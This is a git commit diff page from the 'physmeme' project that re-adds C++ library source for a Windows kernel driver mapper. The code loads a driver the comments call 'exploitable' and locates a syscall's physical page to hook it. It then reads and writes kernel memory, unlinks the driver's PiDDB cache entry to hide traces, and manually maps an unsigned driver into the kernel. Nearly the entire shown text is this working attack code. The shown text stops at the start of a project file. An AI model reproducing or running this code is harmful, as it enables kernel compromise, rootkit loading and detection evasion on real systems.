Browse Source

Revert "fixed an issue where only *sometimes* the driver would return an invalid"

This reverts commit c960f3c60e
merge-requests/1/head
_xeroxz 2 years ago
parent
commit
eb768dda0c
  1. 215
      physmeme-lib/drv_image/drv_image.cpp
  2. 77
      physmeme-lib/drv_image/drv_image.h
  3. 346
      physmeme-lib/kernel_ctx/kernel_ctx.cpp
  4. 133
      physmeme-lib/kernel_ctx/kernel_ctx.h
  5. 281
      physmeme-lib/loadup.hpp
  6. 91
      physmeme-lib/map_driver.cpp
  7. 9
      physmeme-lib/map_driver.hpp
  8. 178
      physmeme-lib/physmeme-lib.vcxproj
  9. 71
      physmeme-lib/physmeme-lib.vcxproj.filters
  10. 19
      physmeme-lib/physmeme-lib.vcxproj.user
  11. 112
      physmeme-lib/physmeme/physmeme.hpp
  12. 2239
      physmeme-lib/raw_driver.hpp
  13. 190
      physmeme-lib/util/hook.hpp
  14. 114
      physmeme-lib/util/nt.hpp
  15. 344
      physmeme-lib/util/util.hpp
  16. 10
      physmeme.sln
  17. 247
      physmeme/kernel_ctx/kernel_ctx.cpp
  18. 3
      physmeme/kernel_ctx/kernel_ctx.h
  19. 22
      physmeme/main.cpp
  20. 21
      physmeme/physmeme/physmeme.hpp
  21. 15
      physmeme/util/hook.hpp

215
physmeme-lib/drv_image/drv_image.cpp

@ -0,0 +1,215 @@
/*
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
#include <fstream>
#include "../drv_image/drv_image.h"
namespace physmeme
{
drv_image::drv_image(std::vector<uint8_t> image) : m_image(std::move(image))
{
m_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(m_image.data());
m_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS64>((uintptr_t)m_dos_header + m_dos_header->e_lfanew);
m_section_header = reinterpret_cast<IMAGE_SECTION_HEADER*>((uintptr_t)(&m_nt_headers->OptionalHeader) + m_nt_headers->FileHeader.SizeOfOptionalHeader);
}
size_t drv_image::size() const
{
return m_nt_headers->OptionalHeader.SizeOfImage;
}
uintptr_t drv_image::entry_point() const
{
return m_nt_headers->OptionalHeader.AddressOfEntryPoint;
}
void drv_image::map()
{
m_image_mapped.clear();
m_image_mapped.resize(m_nt_headers->OptionalHeader.SizeOfImage);
std::copy_n(m_image.begin(), m_nt_headers->OptionalHeader.SizeOfHeaders, m_image_mapped.begin());
for (size_t i = 0; i < m_nt_headers->FileHeader.NumberOfSections; ++i)
{
const auto& section = m_section_header[i];
const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress;
const auto source = (uintptr_t)m_dos_header + section.PointerToRawData;
std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress);
printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", &section.Name[0], (void*)source, (void*)target, section.SizeOfRawData);
}
}
bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base)
{
#define IMR_RELOFFSET(x) (x & 0xFFF)
switch (data >> 12 & 0xF)
{
case IMAGE_REL_BASED_HIGH:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_LOW:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_HIGHLOW:
{
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta);
break;
}
case IMAGE_REL_BASED_DIR64:
{
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta;
break;
}
case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required
{
break;
}
default:
{
return false;
}
}
#undef IMR_RELOFFSET
return true;
}
void drv_image::relocate(void* base) const
{
if (m_nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)
return;
ULONG total_count_bytes;
const auto nt_headers = ImageNtHeader((void*)m_image_mapped.data());
auto relocation_directory = (PIMAGE_BASE_RELOCATION)::ImageDirectoryEntryToData(nt_headers, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &total_count_bytes);
auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase));
auto relocation_size = total_count_bytes;
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults
const bool doRelocations = image_base_delta != 0 && relocation_size > 0;
if (!doRelocations)
{
printf("[+] no relocations needed\n");
return;
}
void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size;
while (relocation_directory < relocation_end)
{
auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr);
auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1;
auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1);
for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data)
{
if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE)
{
printf("[+] failed to relocate!");
return;
}
}
relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data);
}
}
template<typename T>
__forceinline T* ptr_add(void* base, uintptr_t offset)
{
return (T*)(uintptr_t)base + offset;
}
void drv_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function)
{
ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (import_descriptors == nullptr)
{
printf("[+] no imports!\n");
return;
}
for (; import_descriptors->Name; import_descriptors++)
{
IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base);
if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
else
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->FirstThunk);
auto image_func_data = get_rva<IMAGE_THUNK_DATA64>(import_descriptors->FirstThunk);
;
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
{
uintptr_t function_address;
const auto ordinal = (image_thunk_data->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0;
const auto image_import_by_name = get_rva<IMAGE_IMPORT_BY_NAME>(*(DWORD*)image_thunk_data);
const auto name_of_import = static_cast<char*>(image_import_by_name->Name);
function_address = get_function(module_name, name_of_import);
printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address);
image_func_data->u1.Function = function_address;
}
}
}
void* drv_image::data()
{
return m_image_mapped.data();
}
size_t drv_image::header_size()
{
return m_nt_headers->OptionalHeader.SizeOfHeaders;
}
}

77
physmeme-lib/drv_image/drv_image.h

@ -0,0 +1,77 @@
/*
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
#pragma once
#include <vector>
#define WIN32_NO_STATUS
#include <Windows.h>
#include <Winternl.h>
#undef WIN32_NO_STATUS
#include <ntstatus.h>
#include <functional>
#include <DbgHelp.h>
#include <variant>
#include "../util/nt.hpp"
#pragma comment(lib, "Dbghelp.lib")
namespace physmeme
{
class drv_image
{
std::vector<uint8_t> m_image;
std::vector<uint8_t> m_image_mapped;
PIMAGE_DOS_HEADER m_dos_header = nullptr;
PIMAGE_NT_HEADERS64 m_nt_headers = nullptr;
PIMAGE_SECTION_HEADER m_section_header = nullptr;
public:
explicit drv_image(std::vector<uint8_t> image);
size_t size() const;
uintptr_t entry_point() const;
void map();
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
void relocate(void* base) const;
template<typename T>
__forceinline T* get_rva(const unsigned long offset)
{
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
}
void fix_imports(
const std::function<uintptr_t(std::string_view)> get_module,
const std::function<uintptr_t(const char*, const char*)> get_function
);
void* data();
size_t header_size();
};
}

346
physmeme-lib/kernel_ctx/kernel_ctx.cpp

@ -0,0 +1,346 @@
#include "kernel_ctx.h"
namespace physmeme
{
kernel_ctx::kernel_ctx()
{
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return;
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kernel_export(
"ntoskrnl.exe",
syscall_hook.first.data(),
true
));
nt_page_offset = nt_rva % page_size;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
);
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{
//if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{
auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
if (!is_page_found.load()) // keep scanning until its found
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
physmeme::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!is_page_found.load())
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
}
physmeme::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{
if (!is_page_found.load())
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
}
physmeme::unmap_phys(page_va, remainder);
}
}
}
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = read_kernel<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = read_kernel<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = read_kernel<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
write_kernel<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
write_kernel<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type)
{
static const auto ex_alloc_pool =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAllocatePool"
);
return syscall<ExAllocatePool>(
ex_alloc_pool,
pool_type,
size
);
}
void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type)
{
static const auto ex_alloc_pool_with_tag =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAllocatePoolWithTag"
);
return syscall<ExAllocatePoolWithTag>(
ex_alloc_pool_with_tag,
pool_type,
size,
pool_tag
);
}
void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size)
{
static const auto mm_copy_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlCopyMemory"
);
syscall<decltype(&memcpy)>(
mm_copy_memory,
buffer,
addr,
size
);
}
void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size)
{
static const auto mm_copy_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlCopyMemory"
);
syscall<decltype(&memcpy)>(
mm_copy_memory,
addr,
buffer,
size
);
}
void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size)
{
static const auto rtl_zero_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlZeroMemory"
);
syscall<decltype(&RtlSecureZeroMemory)>(
rtl_zero_memory,
addr,
size
);
}
PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const
{
if (!pid)
return {};
PEPROCESS proc;
static auto get_peprocess_from_pid =
util::get_kernel_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId"
);
syscall<PsLookupProcessByProcessId>(
get_peprocess_from_pid,
(HANDLE)pid,
&proc
);
return proc;
}
void* kernel_ctx::get_proc_base(unsigned pid) const
{
if (!pid)
return {};
const auto peproc = get_peprocess(pid);
if (!peproc)
return {};
static auto get_section_base =
util::get_kernel_export(
"ntoskrnl.exe",
"PsGetProcessSectionBaseAddress"
);
return syscall<PsGetProcessSectionBaseAddress>(
get_section_base,
peproc
);
}
}

133
physmeme-lib/kernel_ctx/kernel_ctx.h

@ -0,0 +1,133 @@
#pragma once
#include <windows.h>
#include <iostream>
#include <string_view>
#include <vector>
#include <thread>
#include <atomic>
#include "../util/util.hpp"
#include "../physmeme/physmeme.hpp"
#include "../util/hook.hpp"
namespace physmeme
{
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset{};
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva{};
//
// base address of ntoskrnl (inside of this process)
//
inline const std::uint8_t* ntoskrnl_buffer{};
//
// has the page been found yet?
//
inline std::atomic<bool> is_page_found = false;
//
// mapping of a syscalls physical memory (for installing hooks)
//
inline std::atomic<void*> psyscall_func{};
//
// you can edit this how you choose, im hooking NtShutdownSystem.
//
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
class kernel_ctx
{
public:
//
// default constructor
//
kernel_ctx();
//
// allocate kernel pool of desired size and type
//
void* allocate_pool(std::size_t size, POOL_TYPE pool_type = NonPagedPool);
//
// allocate kernel pool of size, pool tag, and type
//
void* allocate_pool(std::size_t size, ULONG pool_tag = 'MEME', POOL_TYPE pool_type = NonPagedPool);
//
// read kernel memory with RtlCopyMemory
//
void read_kernel(void* addr, void* buffer, std::size_t size);
//
// write kernel memory with RtlCopyMemory
//
void write_kernel(void* addr, void* buffer, std::size_t size);
//
// zero kernel memory using RtlZeroMemory
//
void zero_kernel_memory(void* addr, std::size_t size);
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
template <class T>
T read_kernel(void* addr)
{
if (!addr)
return {};
T buffer;
read_kernel(addr, (void*)&buffer, sizeof(T));
return buffer;
}
template <class T>
void write_kernel(void* addr, const T& data)
{
if (!addr)
return;
write_kernel(addr, (void*)&data, sizeof(T));
}
template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
GetModuleHandleA("ntdll.dll"),
syscall_hook.first.data()
);
hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func);
return result;
}
private:
//
// find and map the physical page of a syscall into this process
//
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
//
// used in conjunction with get_process_base.
//
PEPROCESS get_peprocess(unsigned pid) const;
//
// get base address of process (used to compare and ensure we find the right page).
//
void* get_proc_base(unsigned pid) const;
};
}

281
physmeme-lib/loadup.hpp

@ -0,0 +1,281 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline bool delete_service_entry(const std::string& service_name)
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
//
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set start to 3
//
constexpr std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
// this function was coded by paracord: https://githacks.org/snippets/4#L94
inline bool enable_privilege(const std::wstring& privilege_name)
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline std::string get_service_image_path(const std::string& service_name)
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline bool load(const std::string& drv_path, const std::string& service_name)
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_load_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
}
return false;
}
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline bool unload(const std::string& service_name)
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_unload_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
if (lp_nt_unload_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
try
{
const bool delete_drv = std::filesystem::remove(image_path);
}catch (std::exception& e) {}
return unload_drv && delete_reg;
}
return false;
}
}

91
physmeme-lib/map_driver.cpp

@ -0,0 +1,91 @@
#include "kernel_ctx/kernel_ctx.h"
#include "drv_image/drv_image.h"
namespace physmeme
{
NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver)
{
physmeme::drv_image image(raw_driver);
//
// load exploitable driver
//
if (!physmeme::load_drv())
return STATUS_ABANDONED;
physmeme::kernel_ctx ctx;
//
// shoot the tires off piddb cache.
//
const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp;
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
return STATUS_ABANDONED;
//
// lambdas used for fixing driver image
//
const auto _get_module = [&](std::string_view name)
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name)
{
return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
};
//
// fix the driver image
//
image.fix_imports(_get_module, _get_export_name);
image.map();
//
// allocate memory in the kernel for the driver
//
const auto pool_base =
ctx.allocate_pool(
image.size(),
NonPagedPool
);
image.relocate(pool_base);
//
// copy driver into the kernel
//
ctx.write_kernel(pool_base, image.data(), image.size());
//
// driver entry
//
auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point();
//
// call driver entry
//
auto result = ctx.syscall<DRIVER_INITIALIZE>(
reinterpret_cast<void*>(entry_point),
reinterpret_cast<std::uintptr_t>(pool_base),
image.size()
);
//
// zero driver headers
//
ctx.zero_kernel_memory(pool_base, image.header_size());
physmeme::unmap_all();
if (!physmeme::unload_drv())
return STATUS_ABANDONED;
return result;
}
NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size)
{
std::vector<std::uint8_t> data(image, image + size);
return map_driver(data);
}
}

9
physmeme-lib/map_driver.hpp

@ -0,0 +1,9 @@
#pragma once
#include <vector>
#include <Windows.h>
namespace physmeme
{
NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver);
NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size);
}

178
